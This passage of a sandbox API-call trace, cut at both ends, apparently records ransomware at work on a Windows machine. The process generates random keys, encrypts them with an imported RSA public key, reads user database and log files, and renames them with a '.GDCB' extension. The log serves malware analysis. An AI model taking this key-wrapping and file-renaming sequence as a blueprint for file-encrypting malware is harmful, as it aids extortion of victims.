(hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0176.771] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0176.771] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0176.771] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0176.773] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x36900c8) returned 1 [0176.773] CryptGetKeyParam (in: hKey=0x36900c8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0176.774] CryptEncrypt (in: hKey=0x36900c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5220000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5220000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0176.774] GetLastError () returned 0x0 [0176.774] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0176.774] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0176.775] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x3690248) returned 1 [0176.775] CryptGetKeyParam (in: hKey=0x3690248, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0176.775] CryptEncrypt (in: hKey=0x3690248, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5230000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5230000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0176.776] GetLastError () returned 0x0 [0176.776] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0176.776] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\SmartScreenCache.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\smartscreencache.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0176.776] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0176.777] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0176.778] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0176.778] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0176.778] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0176.778] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0176.779] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0176.779] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0176.779] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0176.779] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0176.780] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0176.781] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x3690388) returned 1 [0176.782] CryptGetKeyParam (in: hKey=0x3690388, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0176.782] CryptEncrypt (in: hKey=0x3690388, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5240000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5240000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0176.782] GetLastError () returned 0x0 [0176.782] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0176.782] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0176.784] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x368fe88) returned 1 [0176.784] CryptGetKeyParam (in: hKey=0x368fe88, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0176.784] CryptEncrypt (in: hKey=0x368fe88, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5250000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5250000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0176.784] GetLastError () returned 0x0 [0176.784] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0176.784] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\SuggestedSites.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\suggestedsites.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0176.790] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0176.791] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0176.792] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0176.792] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0176.792] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0176.792] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0176.793] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0176.793] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0176.793] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0176.793] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0176.794] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0176.796] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x3690288) returned 1 [0176.796] CryptGetKeyParam (in: hKey=0x3690288, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0176.796] CryptEncrypt (in: hKey=0x3690288, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5260000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5260000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0176.796] GetLastError () returned 0x0 [0176.796] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0176.796] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0176.798] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x3690548) returned 1 [0176.798] CryptGetKeyParam (in: hKey=0x3690548, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0176.798] CryptEncrypt (in: hKey=0x3690548, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5270000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5270000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0176.798] GetLastError () returned 0x0 [0176.798] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0176.798] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\TileDataLayer\\Database\\EDB.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\tiledatalayer\\database\\edb.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0176.802] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0176.804] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0176.804] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0176.804] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0176.804] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0176.804] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0176.805] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0176.806] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0176.806] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0176.806] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0176.806] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0176.808] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x3690448) returned 1 [0176.808] CryptGetKeyParam (in: hKey=0x3690448, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0176.808] CryptEncrypt (in: hKey=0x3690448, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5280000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5280000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0176.808] GetLastError () returned 0x0 [0176.808] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0176.808] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0176.810] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x368fdc8) returned 1 [0176.810] CryptGetKeyParam (in: hKey=0x368fdc8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0176.810] CryptEncrypt (in: hKey=0x368fdc8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5290000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5290000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0176.811] GetLastError () returned 0x0 [0176.811] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0176.811] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\TileDataLayer\\Database\\EDB00004.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\tiledatalayer\\database\\edb00004.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0176.813] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x52a0000 [0176.814] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x52b0000 [0176.814] ReadFile (in: hFile=0x514, lpBuffer=0x52b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x52b0000*, lpNumberOfBytesRead=0x285d3e8*=0x100000, lpOverlapped=0x0) returned 1 [0176.846] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x53c0000 [0176.902] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\TileDataLayer\\Database\\EDB00004.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\tiledatalayer\\database\\edb00004.log"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\TileDataLayer\\Database\\EDB00004.log.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\tiledatalayer\\database\\edb00004.log.gdcb")) returned 0 [0176.907] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0176.908] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0176.909] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0176.909] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0176.909] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0176.909] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4540) returned 1 [0176.910] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0176.911] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0176.911] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0176.911] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0176.911] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0176.913] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x368ff88) returned 1 [0176.914] CryptGetKeyParam (in: hKey=0x368ff88, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0176.914] CryptEncrypt (in: hKey=0x368ff88, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5280000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5280000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0176.914] GetLastError () returned 0x0 [0176.914] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0176.914] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0176.916] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x3690488) returned 1 [0176.916] CryptGetKeyParam (in: hKey=0x3690488, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0176.916] CryptEncrypt (in: hKey=0x3690488, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5290000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5290000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0176.916] GetLastError () returned 0x0 [0176.916] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0176.916] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\TileDataLayer\\Database\\EDBtmp.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\tiledatalayer\\database\\edbtmp.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0176.918] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x52a0000 [0176.920] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x52b0000 [0176.920] ReadFile (in: hFile=0x514, lpBuffer=0x52b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x52b0000*, lpNumberOfBytesRead=0x285d3e8*=0x100000, lpOverlapped=0x0) returned 1 [0176.958] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x53c0000 [0177.014] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\TileDataLayer\\Database\\EDBtmp.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\tiledatalayer\\database\\edbtmp.log"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\TileDataLayer\\Database\\EDBtmp.log.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\tiledatalayer\\database\\edbtmp.log.gdcb")) returned 0 [0177.016] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0177.018] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0177.018] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0177.019] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0177.019] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0177.019] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0177.020] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0177.020] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0177.020] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0177.020] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0177.020] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0177.023] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x3690088) returned 1 [0177.023] CryptGetKeyParam (in: hKey=0x3690088, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0177.023] CryptEncrypt (in: hKey=0x3690088, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5280000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5280000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0177.023] GetLastError () returned 0x0 [0177.023] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0177.023] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0177.025] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x368fec8) returned 1 [0177.025] CryptGetKeyParam (in: hKey=0x368fec8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0177.025] CryptEncrypt (in: hKey=0x368fec8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5290000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5290000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0177.025] GetLastError () returned 0x0 [0177.025] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0177.025] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\tiledatalayer\\database\\vedatamodel.edb"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0177.064] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0177.065] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0177.066] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0177.066] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0177.066] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0177.066] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0177.067] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0177.068] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0177.068] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0177.068] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0177.068] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0177.071] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x3690308) returned 1 [0177.071] CryptGetKeyParam (in: hKey=0x3690308, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0177.071] CryptEncrypt (in: hKey=0x3690308, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x52a0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x52a0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0177.071] GetLastError () returned 0x0 [0177.071] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0177.071] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0177.073] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x3690208) returned 1 [0177.073] CryptGetKeyParam (in: hKey=0x3690208, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0177.073] CryptEncrypt (in: hKey=0x3690208, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x52b0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x52b0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0177.073] GetLastError () returned 0x0 [0177.073] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0177.073] CreateFileW (lpFileName="C:\\Documents and 